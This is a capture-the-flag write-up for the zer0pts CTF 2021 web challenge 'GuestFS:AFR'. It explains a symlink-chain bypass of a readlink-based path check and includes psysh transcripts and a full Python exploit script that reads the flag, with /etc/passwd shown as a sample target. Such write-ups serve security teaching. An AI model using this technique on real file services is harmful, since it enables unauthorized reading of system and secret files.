# GuestFS:AFR - zer0pts CTF 2021 ###### tags: `zer0pts CTF 2021` `web` ## Overview - This is a service that you can create, read, and delete files including symbolic links. - Filename should not contain characters except for `0-9A-Za-z`. - When you create a symbolic link, the link target should not start with `/` or contain `..`. ## Solution Paths of link targets will be only checked when files are created. Looking through the source code, you will notice that the order of checking a target path is, calling `symlink`, then checking the target path with `readlink`. Why does it checks the target path after a symbolic link is created? ```php=40 /* Create a symbolic link */ @symlink($target, $this->root.$name); /* This check ensures $target points to inside user-space */ try { $this->validate_filepath(@readlink($this->root.$name)); } catch(Exception $e) { /* Revert changes */ @unlink($this->root.$name); throw $e; } ``` Let's check the behavior of symbolic links to look for a way to abuse it. When we make a symbolic chain like `a -> b -> c`, how do `readlink` and reading files work? As the result below shows, `readlink('a')` returns `b` and `file_get_contents('a')` returns the contents of `c`. ``` $ psysh Psy Shell v0.10.6 (PHP 7.2.24-0ubuntu0.18.04.7 — cli) by Justin Hileman >>> symlink('c', 'b') => true >>> symlink('b', 'a') => true >>> file_put_contents('c', 'test') => 4 >>> >>> readlink('a') => "b" ``` In addition to that, when we remove `c` and try to replace `a` with new symlink, how does it work? As the result below shows, a symlink named `c` that targets `/etc/passwd` is created, and `symlink('a')` still returns `b`. ``` >>> unlink('c') => true >>> symlink('/etc/passwd', 'a') => true >>> readlink('a') => "b" >>> passthru('ls -la') total 8 drwx------ 2 st98 st98 4096 Mar 7 09:22 . drwxrwxrwt 58 root root 4096 Mar 7 09:18 .. lrwxrwxrwx 1 st98 st98 1 Mar 7 09:16 a -> b lrwxrwxrwx 1 st98 st98 1 Mar 7 09:16 b -> c lrwxrwxrwx 1 st98 st98 11 Mar 7 09:22 c -> /etc/passwd => null ``` Using these behaviors, you can bypass the check of target paths in the following steps. This is because when creating a symlink that targets `../../../../flag`, `readlink('a')` returns `b`, which does not contain `..` and is valid, but actually it is creating a symlink to `../../../../flag`. 1. Make a symbolic link chain like `a -> b -> c` 2. Delete `c` 3. `symlink('../../../../flag', 'a')` ### Solver ```python= import re import requests BASE = 'http://web.ctf.zer0pts.com:8001/' sess = requests.Session() sess.get(BASE) # make a -> b -> c sess.post(BASE, data={ 'name': 'c', 'type': '', 'mode': 'create', 'target': '.' }) sess.post(BASE, data={ 'name': 'b', 'type': '', 'mode': 'create', 'target': 'c' }) sess.post(BASE, data={ 'name': 'a', 'type': '', 'mode': 'create', 'target': 'b' }) # delete c sess.post(BASE, data={ 'name': 'c', 'mode': 'delete' }) # make symlink('../../../../flag', 'a') sess.post(BASE, data={ 'name': 'a', 'type': '', 'mode': 'create', 'target': '../../../../flag' }) # :) req = sess.post(BASE, data={ 'name': 'a', 'mode': 'read' }) print(re.findall(r'zer0pts\{.+?\}', req.text)[0]) ``` Let's execute it. ``` $ python solve.py zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)} ``` ``` zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)} ```